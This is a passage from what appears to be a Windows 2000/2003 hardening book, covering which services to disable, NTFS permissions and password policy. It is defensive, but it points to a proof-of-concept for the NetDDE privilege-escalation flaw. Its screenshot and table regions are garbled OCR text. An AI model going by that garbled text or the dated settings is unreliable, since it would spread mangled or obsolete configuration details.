vice can be disabled if Shadow Copy services aren’t desired.

Net Logon Service (Startup: Automatic) This service supports client au-
thentication on systems that are domain members by passing the authen-
tication request back to a domain controller. Net Logon is a core function
of the LSASS.

NetMeeting Remote Desktop Sharing (Startup: Windows 2000: Manual,
Windows 2003: Disabled) This service manages communications be-
tween the system and the NetMeeting software for presentations sharing
a desktop view. This may be left manual for users who may participate in
NetMeeting but can be disabled for most users and all servers.

Network Connections (Startup: Manual) The network connections service
supports the properties and status functions of the Network Connec-
tions Control Panel applet. If this is disabled, you cannot modify net-
work properties from the GUL

Network DDE/Network DDE DSDM (Startup: Windows 2000: Manual, Windows

2003: Disabled) The NetDDE (networked dynamic data exchange) service
provides a facility for application messaging such as the Clipbook service
discussed earlier. In Windows 2000, NetDDE exposed a vulnerability
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that allowed local users to escalate privileges to that of the SYSTEM user,
a flaw discovered by @stake, Inc. Technically, the flaw lies in the DSDM
(DDE Share Database Manager)—undocumented functions within this
module allow an attacker to specify arbitrary command lines to be exe-
cuted in the SYSTEM user context. Microsoft has provided a patch for this
issue for Windows 2000 systems; details are available from http://
www.microsoft.com/technet/security /bulletin/MS01-007.asp. (For the
truly adventurous, @stake released proof-of-concept code for this vulner-
ability; the C source for this tool can be found at http:/ /www .atstake.com/
research/advisories /2001 /netddemsg.cpp.)

Network DDE is used by some Microsoft Office applications to
share data on the network, particularly when NetMeeting is not avail-
able. The NetDDE privilege escalation is fixed in Windows 2000 SP3,
and a patch is available for Windows 2000 SP1 and SP2. Nevertheless,
this networked service is not commonly used and should be disabled
whenever possible.

Network Location Awareness (Startup: Manual) The NLA service provides
applications an interface to determine what network they are on, or in
the case of multiple networks, which to use. Previously, applications that
were multiple adapter aware did so by corresponding directly with the
available network interfaces for information; the NLA simplifies that
task by providing a common interface.

NT LM Security Support Provider (Startup: Manual) This service of the
LSASS provides NTLM authentication for protocols that do not make
use of named pipes for communication, such as telnet services when NT
authentication is used. If non-standard authenticated services are not
offered, this service can probably be disabled without negative impact.

Performance Logs and Alerts (Startup: Manual)  This is the service that pro-
vides data storage and limits monitoring for the system monitor via
Perfmon. If no monitoring is in place, this service can be disabled, but
the logs and alerts section of the Perfmon application will generate errors
if this service is unavailable.

Plug and Play (Startup: Manual) When a new device is attached to the
system, this service is responsible for identifying the device and loading
the appropriate drivers to make the device available. This is considered
a core Windows service, and disabling it is not recommended.

Print Spooler (Startup: Automatic) Present in all Windows operating sys-
tems, this service works with applications to proxy print jobs so that the
application can offload printer communication to the operating system.
Disabling this service will have negative impact on applications at-
tempting to print.
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Protected Storage (Startup: Automatic) This service provides secured
storage for user details like passwords, encryption keys, and other sen-
sitive data such as the Internet Explorer AutoComplete history. This
service can be disabled but will break features that use Protected Storage
data. Protected Storage can be easily enumerated by authorized users.
For example, Cain and Abel v2.5 offers a Protected Storage explorer.

Remote Access Auto Connection Manager (Startup: Manual) This program
helps manage remote access service connections by deciding whether or
not an RAS connection is necessary and then initiating the connection if
itis. For users of dial-up networking, this service keeps the modem from
dialing out every time the system triggers a network operation. Dis-
abling this service is not recommended for systems with VPN clients or
dial-up networking services.

Remote Access Connection Manager (Startup: Manual) This service receives
messages directly from the user or indirectly via the Auto Connection
manager and establishes the requested network connection. This ser-
vice is required for establishing VPN and dial-up connections.

Remote Desktop Help Session Manager (Startup: Manual) When this ser-
vice is started, it registers the Remote Desktop service with the Remote
Procedure Call locator. In most environments, this service provides lit-
tle more than an additional exposure. Unless specific requirements exist
for Remote Desktop services, this should be disabled.

Remote Procedure Call (Startup: Automatic) The RPC service provides the
endpoint mapper (TCP/135) for RPC applications. Many critical Win-
dows services are exposed via RPC rather than as direct TCP/IP ser-
vices, and the RPC service manages these applications. Windows 2000
pre-SP2 suffered a denial-of-service vulnerability in the RPC services,
where attackers could crash the RPC service and break most common
Windows functions. This service should not be disabled.

Remote Procedure Call Locator (Startup: Manual)  This service provides an
RPC name resolution service for third-party applications using a special
API Core Windows RPC services do not depend on this service and in
most environments, Locator can be disabled without impact.

Remote Registry Service (Startup: Automatic) The name of this service is
self-explanatory and fairly chilling. The remote registry service exposes
the Windows registry to properly authenticated remote users, allowing
enumeration or even changing the system’s registry settings from a re-
mote device. While Remote Registry can be helpful from an administra-
tive perspective, this service is probably best disabled unless specifically
required for administration purposes.
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Removable Storage (Startup: Automatic) The Windows Backup utility
uses the Removable Storage service to maintain information on stor-
age media and backup sets. You can browse the data maintained by Re-
movable Storage in the %windir%\ System32\NtmsData directory.
Depending on the backup system used, this service may be disabled.

Resultant Set of Policy Provider (Startup: Manual on DCs) When using the
Group Policy editor, this service can be invoked to verify the end result
of a given policy by connecting to a domain member and reading the
current policy settings. This service need not be disabled.

Routing and Remote Access (Startup: Disabled) This service should be en-
abled only if the system in question is to function as a router between
two or more networks. This service is not required for Internet Connec-
tion Sharing—under that service, Routing is handled by the Application
Layer Gateway Service. Leave this service disabled.

RunAs / Secondary Logon (Startup: Windows 2003: Automatic, Windows 2000:
Manual) This service provides the much anticipated, highly underused
RunAs utility. RunAs allows the user to launch selected applications
under the context of another user by providing the credentials when the
application is launched. This allows administrators to perform the ma-
jority of their tasks as a restricted user, elevating their privilege only
when necessary. Unfortunately, many administrators prefer not to be
hounded by password prompts and continue to simply log on as a user
with full administrative privileges. While this service could be used by
an authenticated attacker, the attacker would need to already have the
credentials of a more privileged user available. We recommend en-
abling this service and learning to use it to help limit exposure.

Security Accounts Manager (Startup: Automatic) This is the service that
maintains and administers the local authentication database (SAM data-
base) that was discussed in Chapter 5. This service is a required part of
the LSASS.

Server (Startup: Automatic) Network file and print services and other
named-pipe services are all accessed via this service. Depending on the
NetBIOS configuration, Server will bind to NetBIOS Sessions on
TCP /139 and direct SMB on TCP/445. Unless the system is highly spe-
cialized, such as a Microsoft SQL Server that is restricted to TCP /1433
(no named pipes support), this service is usually required. This service
can be disabled on workstations without impacting SMB client services,
which are managed by the Workstation service. This will prevent desk-
top users from creating their own local shares.
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Shell Hardware Detection (Startup: Automatic) This service manages de-
vice notifications and user interaction, such as when a newly inserted
CD-ROM triggers AutoPlay execution to start the installation program.
Disabling this service is recommended in environments where an at-
tacker could easily gain physical access to the system.

Smart Card/Smart Card Helper (Startup: Manual) These services manage
the connection to smart card reader hardware devices in environments
using same. If your environment doesn’t support smart cards, these ser-
vices can be disabled. They are set to manual so that the service can be
started when smart card devices are discovered by Plug-and-Play.

Special Administration Console Helper (Startup: Windows 2003: Manual,
Windows 2000: N/A) Windows 2003 introduces a new Emergency Man-
agement Services feature that enables limited remote administration via
“out-of-band” communications in the event of a serious system failure. In
this fashion, properly equipped servers can be managed via serial-port
TTY or other solution. The Special Administration Console helper service
makes a command prompt interface available via Emergency Manage-
ment Services. Service can be disabled when Emergency Management Ser-
vices are not in use, and additional information on EMS can be found at
http:/ /www.microsoft.com/technet/prodtechnol/windowsserver2003 /
proddocs/standard /EMS_topnode.asp.

System Event Notification Service (Startup: Automatic) Working with the
COM+ Event System, SENS provides a common interface for applica-
tions to be alerted to system events such as Synchronization Manager or
network connect/disconnect activity.

Task Scheduler (Startup: Automatic) The Windows scheduler service, re-
sponsible for managing at jobs and other scheduled system maintenance
activities. The scheduler service is a favorite target of attackers as a method
of executing code on the remote system when they do not yet have any in-
teractive system control. Tasks can be managed from the Scheduled Tasks
applet in the Control Panel. Setting this service to manual may not ade-
quately prevent attackers from starting the service remotely, so be sure to
disable the service if you don’t want to use the scheduler.

TCP/IP NetBIOS Helper (Startup: Automatic) By name, this service appears
to be the service host for the NetBIOS over TCP/IP protocol suite, the
NetBIOS name, and datagram and session services. However, this is not
the case. This service manages many NetBIOS resource requests regard-
less of whether or not NetBT is in use and helps legacy applications that
are unaware of direct SMB to function correctly. Disabling this service
does not disable the NetBIOS over TCP/IP services on UDP /137, UDP/
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138 and TCP/139; those services must be disabled from the Network
Control Panel applet, as described in Chapter 6.

Telephony (Startup: Manual) The Telephony service supports the Win-
dows Telephony API for devices such as modems, faxes, networked
faxes, or voice-over IP solutions. This service can usually be disabled.

Telnet (Startup: Windows 2000: Manual, Windows 2003: Disabled) Telnet

provides remote logins to a command prompt terminal over the telnet
protocol. Telnet can be configured to accept only NTLM authentication,
which provides a small measure of security, but any possible use for
telnet could be better accomplished using more secure tools. This ser-
vice should be disabled—if set to manual, an attacker could trick a user
to enable the service or enable it remotely with sufficient authentication.

Terminal Services (Startup: Windows 2003: Manual, Windows 2000: Manual)
This is the core terminal services provider that allows Windows to func-
tion as a multi-user environment. Even if classic Terminal Services are
not offered on a host, this service may still be used for local purposes,
such as fast-user switching, or the service may masquerade as Remote
Desktop Assistance. If these services are not in use, it is safe and strongly
recommended to disable Terminal Services.

Uninterruptible Power Supply (Startup: Manual) This service provides an
interface for uninterruptible power supplies to supply alerts to the oper-
ating system. If this service is disabled, a server will not be able to auto-
matically suspend or power-down in the event of a power emergency.

Upload Manager (Startup: Windows 2003: Manual, Windows 2000: N/A)  Intro-
duced in Windows XP, the Upload Manager’s description indicated the
service “manages synchronous and asynchronous file transfers between
clients and servers on the network.” In Windows 2003, this description was
expanded to include the Upload Manager’s role in Windows device driver
management, uploading anonymous system data to the Microsoft Driver
Feedback server. This service can be disabled in most environments.

Virtual Disk Service (Startup: Windows 2003: Manual, Windows 2000: N/A)

This service, introduced in Windows 2003, helps administrators to sim-
plify the use of SANs and other remote storage solutions by providing a
single unified interface to a variety of vendor devices. If no such systems
are available in your environment, you can safely disable this service.

Volume Shadow Copy Service (Startup: Windows 2003: Manual, Windows 2000: N/A)
This service manages the acquisition of point-in-time file copies as
part of a backup or network file sharing solution implementing the
Windows 2003 Shadow Copy service. Can be disabled otherwise.
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Web Client (Startup: Windows 2003: Disabled, Windows 2000: N/A) The Web
Client service provides an interface for applications to access web re-
sources as if they were file shares, but few details are available regarding
the use of this service. Leave the service disabled unless you have appli-
cations that specifically require it.

Windows Installer (Startup: Manual) The Windows Installer provides de-
velopers a unified interface for developing application installers and for
adding additional controls and safeguards to software installation. Win-
dows Installer package files (filenames end in .msi) benefit from automatic
failure recovery, and in some cases, allow users to install specific software
that they would otherwise not have sufficient access to install. Many in-
stallers require this service. Disabling this service does not guarantee soft-
ware installations won't succeed, so disabling is not recommended.

Windows Management Instrumentation (Startup: Automatic) Introduced in
Windows NT 4.0 service pack 4, the WMI service provides a standard-
ized method for applications to communicate with kernel mode drivers
and subsystems to obtain performance data, alerts, or configuration de-
tails. SNMP services, for example, run as a subset of WMI. Because WMI
is fast becoming a core API for Windows applications, disabling this ser-
vice is not recommended. However, WMI can be accessed remotely as an
RPC service, and steps should be taken to ensure proper security. You
can review and manage WMI security from Computer Management:

1. Open the Computer Management console by selecting Start |
Run | compmgmt.msc.

2. Expand Services and Applications.
3. Right-click WMI Control and select Properties.
4. Click the Security tab.

Details on WMI services are available from Microsoft at http://
msdn.microsoft.com/library/default.asp?url=/downloads/list/wmi.asp,
and you can also download the Microsoft WMI tools to see the type of
information that is exposed through this interface.

Windows Time (Startup: Automatic) The Windows Time service provides
clock synchronization within a domain or to a specified NTP server.
Some authentication protocols (such as Kerberos) rely on relatively ac-
curate timestamps, so you'll rarely want to disable this service.

WinHTTP Web Proxy Auto-Discovery Service (Startup: Windows 2003: Manual,

Windows 2000: N/A) Microsoft offers an API for HTTP applications
called WinHTTP. WinHTTP supports a proxy-discovery protocol that is
implemented in this service. This service is for client convenience only
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and can be disabled with no ill effects; clients will implement the auto-
discovery on their own.

Wireless Configuration (Startup: Windows 2003: Automatic, Windows 2000: N/A)
This service allows automatic configuration of wireless adapters. If wire-
less adapters are not permitted by corporate policies, disabling this service
on client computers will make it very difficult for users to install wireless
adapters. This service can be disabled without consequence when wire-
less networking is not used.

WMI Performance Adapter (Startup: Windows 2003: Manual, Windows 2000: N/A)
The performance adapter service supports “Hi-Perf” Windows Man-
agement Instrumentation providers that are specifically designed to
provide very rapid data samples to select WMI clients. Refer to the WMI
discussion at the start of the chapter for additional information.

Workstation (Startup: Automatic) The Windows Workstation service is the
client piece of the Server Message Block protocol and manages connec-
tions to file shares and services operating over named pipes. This service
can be disabled on systems that will not make client requests of other
Windows SMB servers.

SUMMARY

So how many of these services do you really need? The correct answer,
though dissatisfying, is “as few as possible.” The Windows services
host all but the lowest level operating system functions, and every ap-
plication will have its own set of dependencies—while many servers
will function perfectly without the Networked Dynamic Data Exchange
service enabled, certain legacy applications may rely on NetDDE and
will be rendered useless if the service is disabled.

However, all is not lost! In the next chapter, we will discuss the fun-
damentals of Windows security facilities—controlling object permis-
sions and working with security policies in the realm of a local system—
and learn how to limit the hacker’s options by implementing access con-
trols for non-privileged users. Then, in Chapter 10, we'll see how we can
use group policies to apply security options across multiple computers
in an Active Directory environment, and we’ll discuss Microsoft’s base-
line security templates—a little-known support facility that can help ad-
ministrators develop role-based security templates custom-fitted to their
various server installations.
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credentials or by exploiting some service on the system to obtain

system access with the service’s credentials. In rare cases, the ini-
tial hack will provide administrative system access, but in most cases,
the attacker will have obtained only a domain user account or a highly
restricted system user such as the IIS IUSR _ user context. After this ini-
tial hurdle has been crossed, the next challenge facing the intruder is to
find the limits of their permissions and set about the task of privilege es-
calation. Depending on how tightly the system is secured, this process
can be very challenging.

In this chapter, we'll discuss the various facilities Windows offers to
control user rights on a local system. We’ve chosen to start our discus-
sion of these facilities below the domain or Active Directory level for the
sake of clarity, separating the actual permissions and their impact from
the deployment methods, which we’ll discuss in Chapter 10.

ﬁ n attacker breaches a system by discovering valid authentication

WINDOWS ACCESS CONTROL FACILITIES

In Chapter 5, we introduced the primary actors and operators of the
Windows security model. All access controls are applied by comparing
a user’s rights, be they individually or group assigned, to the access con-
trol list of the requested resource. This comparison is based on the secu-
rity identifiers (SIDs) that have been attached to the user’s token by the
logon process. When a match is found, the specific permissions as-
signed to the matching SID are applied to the transaction. However, we
haven’t yet discussed how those rights are assigned to resources.

It goes without saying that an access control list must be well se-
cured itself—if any user could simply change the permissions on an ob-
ject, there would be no point. In some cases, the administrator may not
be concerned with the permissions of a given object and may wish to
delegate that responsibility to another user. This can be accomplished
through object ownership. The administrator can transfer ownership of
a resource to another user, allowing that user to manage permissions to
the resource. In the case of lost passwords or other events, administra-
tors can generally take ownership of all objects.

File System Permissions

The first Windows security settings the typical administrator will en-
counter involve NTFS file system permissions. Many administrators
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have learned to use file permissions simply to prevent users from acci-
dentally making changes that impact normal business activity, in
cases such as when a user accidentally drags a folder from one location
to another in Windows explorer. In this section, we’ll explore Win-
dows file permissions through a simple example of a file server at a
small business.

Let’s first take a look at the users we have configured on our Win-
dows 2003 Server, PHALANX. Figure 9-1 shows the Computer Man-
agement console and the local users defined on the machine. Aside from
the built-in Administrator account and the disabled Guest account, we
have our user accounts: Donna, Mary, Patrick, and Tom. These are the
users we’ll be working with in this section.

As each user was created, they were automatically added to the
Users group. Because managing permissions individually for every
user rapidly grows unwieldy, we will use this default group to define
our baseline file system permissions. This way, when the company
grows and we add more personnel, we can get them up and running
with little to no administrative effort. Of course, as authenticated users,
they will also be automatic members of the Everyone group, so we’ll
also need to keep this in mind as we set our permissions.

rnnute.l Hanaement M=
| =18 ]

i '&DavbeManagﬁr
=% Storage

[+ ['_ﬁﬂ Services and Applications

e Y|

SRy MM _MANDARE

Launch I3 Process Account

© F g Removable Storage £ Maty Maty van Houten
| Disk Defragmenter 4] Patrick Patrick Riviera
i Disk Management 5 Tom Tom Lanley

g Computer Management (Local] Hame | Full Mame | Desciiption |
= i, System Tools 93 Administrator Buit-in account for administering the comput...
2 ﬂ] Event Viewer g Dan Dan Hutz AcmeCorp consultant
il 5 Shared Folders £ Donna Daonna Bowvier
i _I:ecal Uity andErogs 5 Gusst Buit-in account for guest access to the com. ..
ﬂ g:&;s £ IUSF_AKAT Internet Guest Account Buit-in account for anonymous access to Int..
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Figure 9-1.

The Computer Management console open to Local Users and Groups
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Determining Permissions for a Resource

For starters, we’ll check the permissions available on the system drive.
Figure 9-2 shows the Local Disk (C:) Properties dialog box for our system’s
C:\ drive, which we access from Explorer:

1. In the Folders pane, right-click the Volume Name (C:) entry.
2. From the context menu, select Properties.
3. Click the Security tab.

As shown in Figure 9-2, the Everyone group has no explicit permis-
sions to this drive. This is a new default in Windows 2003 and represents
a substantial improvement in Windows security. Under Windows 2000,
the Everyone group was initially assigned Full Control at the drive root
level. Administrators who are accustomed to configuring file system se-
curity will be largely unaffected, but inexperienced administrators may
be caught off guard by this setting when upgrading some systems to
Windows 2003. In actuality, the Everyone group under Windows 2003 is
assigned special permissions to the drive root, allowing Read and Exe-
cute permissions to the root folder only, as we’ll see in a moment.

'l
Local Disk {C:) Properties [ 2]
General | Toalz I Hardware l Sharing !
Security | Shadow Copies I Quata

Group or user names:

ﬁ Administrators [PHALAN &dministratars]
€7 CREATOR DWNER

WEIVONE
€5 5YSTEM
€7 Users [PHALANX U sers)

Add.. | FRemove I
PBermizsions for Everpone Allow Den_l,l
Full Cantral
Modify

Read & Execute
List Folder Contents
Read

Wit _1

For special permissions or for advanced settings, Advanced |
click Advanced. =
(n] I Cancel | Apply l

Oooooon
Oooooon

Figure 9-2.  Security Properties for the C: drive
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By selecting the different users and groups displayed in Figure 9-2,
we can see the defined permissions for each in the Permissions panel.
The Administrators group and the SYSTEM user both have full permis-
sions enabled, and the default Users group is assigned Read and Exe-
cute, List Folder Contents, and Read permissions. For each of the listed
permissions, the object owner (typically the Administrators group) can
explicitly Allow or Deny each of the rights. If you're using Windows 2003
(or XP), by now you've probably discovered the last permission that
was out of the scroll list in Figure 9-2, the Special Permissions indicator.
This indicator provides a visual clue to when restricted permissions are
available for the highlighted user or group.

The security dialog box shown in Figure 9-2 provides a simple
high-level interface to the users and permissions assigned to the C: drive,
but occasionally we need to assign more granular controls. To finely
tune the security settings for the resource, we need to open the Ad-
vanced Security Settings by clicking on the Advanced button on the Se-
curity tab. The Advanced Security Settings for Local Disk (C:) dialog
box is shown in Figure 9-3. Windows 2000’s interface is very similar but
lacks some of the details.

Advanced Security Settings for Local Disk {C:)

Permissions ]Auditingl Dwnerl Effective Permissions]

To view more infarmation about zpecial parmissions, select a permizzion entry, and then click Edit.

Permizsion entries:

Type ' Mame J Permizsion l Inherited From | Apply Ta

Aillow Administratars [PHAL...  Full Control <not inherted:  This folder, subfolders...
Allow CREATOR DWMNER Full Control iz folder, subfolders...
: EIYOrE | ute <not in > Th er only
Allowy SYSTEM Full Contral This folder, subfolders...
Allows Users [PHALAM=NU s, Create Folders /A <notinherited>  This folder and subfal...
Ailloy Usgers [PHALAMRN Iz . Create Files /Wit <not inherited>  Subfolders only

Allow Users [PHALAM=MUs..  Read % Execute <not inherted>  This folder, subfolders...

Add... Edi... Hemaove

™ PReplace permizsion entriez on all child objects with entries shown here that apply to child ohjects

Learn more about access contral.

oK | Cancel I Aipply

Figure 9-3. The Advanced Security Settings for Local Disk (C:) dialog box
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Under Windows 2003, the Everyone group has Read and Execute
permissions for the C:\ root folder only. This allows unauthenticated
connections to see the root directory and subdirectories and the ability
to execute program files and read files in the directory, but these per-
missions do not extend to any directories below the root. So in order for
authenticated users to have any access at all, the Users group must pick
up where Everyone left off. Selecting the permissions entries that apply
to the Users group shows that in addition to Read & Execute on the root
and its subfolders, members of Users have permission to create files ev-
erywhere except for the root directory and create folders in the root di-
rectory and below.

Permissions trickle down through the file system unless specifically
defined for an individual file or subdirectory. When a file system entry
has no security information itself, it inherits the permissions of its con-
tainer, whether a subdirectory or the root directory itself. In Windows
2003, the Advanced Security Settings dialog box indicates the source of
the inherited permissions for the object. This becomes very useful as
permissions become more and more complex; with Windows 2000 you
must ascend the file system hierarchy manually to locate the source of
inherited permissions. This can lead to use of overlapping, conflicting
permissions assignments when an administrator is pressed for time.

g‘{ If you are configuring Windows 2000 systems, you may want to duplicate the Win-
dows 2003 approach to file system security, assigning Administrators and SYSTEM
Full Control to the root directory, all files, and subdirectories; assigning the Users
group read/execute and create rights for the system root and all subdirectories;
and restricting Everyone to read and execute in the root directory. Many adminis-
trators also like to restrict the Users group from creating folders in the root directory
to keep the file system clean.

Often an administrator will want to determine the effective permis-
sions for a given user or group at an object level. For example, upon hear-
ing that the SAM database is stored in the %windir%\System32\repair
directory, an Administrator may want to determine what access the Ev-
eryone group has to that subdirectory or the SAM file itself. The proper-
ties for any resource can be accessed in the same way we viewed them
for the C: drive: simply right-click the object, select Properties, and then
click the Security tab. Figure 9-4 shows the Access Control Settings for
repair dialog box for the repair directory on a Windows 2000 Server.
From this depiction, we are led to believe that the Everyone group has
no access to this resource, but this is incorrect. To see the permissions for
Everyone, we must add that group name to the panel by clicking Add.
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Access Control Settings for repair HE

Permnizzions | Avditing | Dwarer I

Permission Entrigs:

Tupe MName Permission Apply ko
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Add... Remove View/Edit...
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[~ &llow inheritable permissions from parent to propagate to this objsct

Reset permizzions on all child objects and enable propagation of inkeritable

DEMISZIONS.
QK. I Cancel | Apply

Figure 9-4. Windows 2000 Access Control Settings for repair dialog box

Under Windows 2003, there is an additional tab on the Advanced Se-
curity Settings dialog box labeled Effective Permissions. On this panel,
you can select a given user or group name, and Windows will display the
actual permissions that users will have to this object. In Windows 2000,
we can get the same information by selecting View /Edit from the Permis-
sions panel and using the Change button to select the specific user or
group we want to query.

If we select the Everyone group on our Windows 2000 system, we can
see that in fact, on a default installation of Windows 2000, the Everyone
group has Read and Execute and List Folder contents for this resource, al-
lowing members to view files, including the all-important SAM file. Un-
der Windows 2003, the Everyone group has no access to this file, and
regular system users are restricted to no more than listings of the \repair
subdirectory. This simple change in default permissions represents a
huge leap forward in Windows” out-of-the-box security posture.

Using Groups to Logically Manage Permissions

So now that we have an understanding of how Windows works with file
permissions, let’s put it together in a very brief example in the context of
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our small company’s file server. As discussed, all the users in the com-
pany were automatically added to the Users group upon creation. So the
simplest approach for the administrator in this environment would be to
assign Full Control for the Users group for any particular resources
where the users may store files. For our example, however, the adminis-
trator is going to be a little more diligent in assigning permissions.

Figure 9-5 shows the file structure for the AC_Store_1 volume, the
primary data store for our organization. Even on such a simple system,
we have a variety of resources that require specific access controls.

B \Critical Databases Storage location for the Sales and
Accounting databases

B \Program Files Contains shared applications used by all users

B \Users Home directories for each user defined on the system

The permissions for some of these resources are intuitive; for exam-
ple, the home directories for the users should be restricted to only those
users. To determine the access that each of our users requires, we have

to interview them to better understand what they do in the office that
might require special access.

B Donna Chief Executive, requires access to Accounting,
Sales data

B Patrick Sales, owner of the Sales database

B Tom Service, time-reporting via Accounting database

B Users [_ (O] =]
_| File Edit ‘iew Favorites Toole Help | !?
| J Back - => B ?‘ | /- ! Search | Folders | m'

JAgdress I__| Users Ll Lj Go
Folders x| _Mame - | Size | Type | Date Madified |
£ e AC_Stare_1 H ] iDonna File Folder B/4/2003 B:44 PM
- . _‘p_Criticei Dat:abases ) Mary File Falder 5/3/2003 11:20 PM
) Program Files ) Patrick File Folder 5/3/2003 11:27 PM

=) RECYCLER ) Tom Filz Folder 4/27/2003 1112 8M
o : J File Folder 5/14/2003 10:35 PM
) Swstem Volume Information
I ) Temp
=10 Users
) Dan
# I) Donna
1) Mary
[# |7} Patrick,
1 Tom Rd|
|‘I ohjects selected | | _e My Computer 4

Figure 9-5. File structure for the AC_Store_1 disk volume
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B Mary Accounting, owns Accounting database, requires
Sales data

B Dan Consultant, no shared access

From these various requirements, the administrator sits down to de-
fine access types, which are typically based on role, to determine how
best to group the users. Reviewing the list, the Administrator forms a
list of three groups that can be used to manage access now and simplify
adding new users in the future. The groups define a role within the or-
ganization and are effectively shorthand for a security modifier, like so:

B Sales Adds access to the Sales database

B Accounting Adds access to the Accounting database

B Users Baseline permissions

Finally, the administrator creates these groups and populates each
with the correct users and then applies the security settings to the direc-

tories, being sure to verify the effective permissions for the resources as
discussed earlier. First let’s create the necessary groups.

Creating a Group

1. Open the Computer Management console by selecting
Start | Run | compmgmt.msc.

Expand Local Users and Groups and select the Groups container.
Right-click in the right-hand pane and select New Group.
Enter the group name and a description of the group’s use.
Optionally, click the Add button to add group members.
Click Create.

S TRk N

With the user groups created, we can now go to the file system and
edit the permissions on the sensitive directories with respect to the
newly defined groups.

Restricting Access to a File System Resource
to a Specific Group or User

1. Use the Windows Explorer to navigate to the resource to
which you want to restrict access.

2. Right-click the file or directory and select Properties from
the context menu.

3. Select the Security tab.
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4. Click the Advanced button.

5. Uncheck the option Inherit from parent the permission
entries that apply to child objects....

6. Windows will warn that disabling inheritance on this object
will lose all permissions that aren’t specifically defined for this
object and offer the option of copying or removing the inherited
permissions. Because we want to restrict access, click Remove.

7. Click the Add button and select the group(s) that should have
access to this resource. You can include Administrators or
not—a member of that group can always re-add themselves later.

8. Verify the effective permissions either by using the Effective
Permissions tab in Windows 2003 or by using the View /Edit
button in Windows 2000.

Understanding the Windows File System Permissions
There are 14 different permissions check boxes available for the file sys-
tem in Windows 2003 and 13 in Windows 2000 (Full Control, essentially
a select-all button, is omitted in Windows 2000). Table 9-1 lists each of
these permissions and a brief description. Note that when a permission
is divided with a / (slash), the right has different meanings depending
on whether it is applied to a directory or a file. The differences are
pointed out in the descriptions.

Admittedly, the process discussed here is an oversimplification of
managing users in Windows environments, whether the Active Direc-
tory/Domain model is in use or not. However, this example provides
the fundamentals for the hierarchical permissions assignment that oc-
curs throughout the Windows security model. Domain rights trickle
down the Active Directory hierarchy in the same way that file system
permissions traverse subdirectories. Inheritance can be blocked on more
sensitive subdirectories (or trees), and permissions can be within a lim-
ited scope, as we’ve seen with the Windows 2003 default rights for the
Everyone group.

In the next section, we’ll explore the interface for setting some of the
more obscure security settings in Windows 2000 and above. Some of
these are set for the computer as a whole; others are assigned on a
per-user basis. These settings can also be assigned on a domain level, al-
lowing administrators to apply fairly strong per-system security from a
very simple interface. We’ll cover domain distribution of these settings
in the next chapter, but for now we’ll just explore their use and effects.
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(Permission_________| Description _________|

Full Control
Traverse Folder / Execute File

List Folder / Read Data

Read Attributes
Read Extended Attributes

Create Files / Write Data

Create Folders / Append Data

Write Attributes

Write Extended Attributes

Delete Subfolders and Files
Delete

Read Permissions

Change Permissions

Take Ownership

Allows one-click enabling of all permissions,
not present in Windows 2000.

Permits access (change directory) to a
subdirectory or execution of a given file.

Permits user to obtain a directory listing
when applied to a directory or read access
when applied to a file.

Allows viewing file attributes Read Only
and Hidden.

Allows viewing file attributes Archive,
Indexing, Compression and Encryption.

Permits user to create new files or to write
data (when applied to a directory or a file,
accordingly).

Permits user to create subdirectories or
add data to an existing file (when applied
to a directory or a file, accordingly).

Allows user to change the Read-Only or
Hidden attributes.

Allows user to change the Archive,
Indexing, Compression and Encryption
attributes.

Permits user to delete files or directories
below this object.

Permits user to delete this object.

Permits user to view the SIDs associated
with an object to determine permissions
for other users and groups.

Permits a user to add or remove
permissions for an object.

Allows a user to assume ownership of the
object, effectively allowing full control.
Take Ownership must be exercised by the
user however, simply assigning a user
permission to take ownership does not
transfer ownership.

Table 9-1.  The Windows File System Permissions
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Local Security Settings

The Local Security Settings are accessed through the Local Security Pol-
icy editor in the Microsoft Management Console (available from Admin-
istrative Tools | Local Security Settings, or Start | Run | secpol.msc).
Figure 9-6 shows the Local Security Settings dialog box. The five policies
that can be edited here are shown in the left-hand pane, and these are

B Account Policies The Account Policies are comprised of
security settings that affect all user accounts, such as password
complexity and failed login attempt limits.

B Local Policies The Local Policies define security settings
that apply regardless of user context, such as auditing, user
authentication methods, login banners, and credential storage
options. The Local Policies also allow setting user permissions
for special system permissions, such as debugging programs
or shutting down the system.

B Public Key Policies (PKI) The Public Key Policies expose
configuration of any PKI enabled subsystems on the local
machine. In most environments this consists only of Encrypted
File System policies for configuration of data recovery agents.

B Software Restriction Policies The Software Restriction Policies
tree exposes methods for administrators to limit applications
that can be run on the system by execution path, file hash, Internet
zone, or by PKI certification.

B IP Security Policies The IP Security Policies editor allows
definition of IPSec tunneling, IP Filter rules, packet integrity,
and security rules.

Our main areas of concern in the Local Security Policy editor will be
with the Account Policies and Local Policies. We'll cover IP Security
Policies in depth in Chapter 12, and the Public Key Policies functions
will play a role in Chapter 13 when we discuss the Encrypting File Sys-
tem. For the sake of brevity, we will not be discussing Software Restric-
tion Policies in this text.

Working with Account Policies

You'll recall from Chapter 6 that when an attacker is confronted with a
system that does not make use of failed login attempt lockouts, she
knows that she is home free. While over-the-wire brute forcing has to be
one of the least elegant hacks, it is nevertheless a hack, and a system with
no account lockouts set probably lacks other basic account security op-
tions, such as minimal password length and complexity requirements.
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Figure 9-6. Local Security Settings dialog box

Not surprisingly, all of these options are defined from the same inter-
face, so it’s rare to find a system with only one or two of the account se-
curity options enabled.

From within the Account Policies tree of the Local Security Policy
editor, there are two separate folders: Password Policy and Account
Lockout Policy. As would be expected, the Password Policy tree con-
tains settings that affect user password selection; the various settings
are described in Table 9-2.

Recommended
Policy Setting Description

SaIN[1984 [0)U02 SS3IY SMOPUI

Enforce 5+ When users are forced to change their
Password password regularly, they will typically
History try to re-use previous passwords that

they can still easily remember. This
setting causes Windows to remember
the n previous password hashes and
disallow their reuse.

Maximum 30-90 days This setting specifies the maximum
Password Age | depending on | length of time users can go between
system password changes.
sensitivity

Table 9-2.  Windows 2000/2003 Password Policy Options
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Recommended
Policy Setting Description

Minimum 15 days

Password Age

Minimum 8 characters,

Password longer if

Length complexity not
enforced

Password must | Enabled

meet

complexity

requirements

Minimum period of time between
password changes. This is available to
prevent users from rapidly cycling
through their password history to get
back to their preferred password.

Specifies the minimum number of
characters that will be accepted for new
passwords. This option is critical to
ensuring your passwords are brute-force
resistant.

Implements the Windows password
complexity filter, often referred to by its
filename passfilt.dll. The standard
password filter requires passwords not
include all or part of the user’s login
name, be at least six characters in length,
and include characters from at least
three of the character classes [A-Z],
[a—z], [0-9], and special characters.

Table 9-2. Windows 2000/2003 Password Policy Options (continued)

The other tree under Account Policy is the Account Lockout Policy.
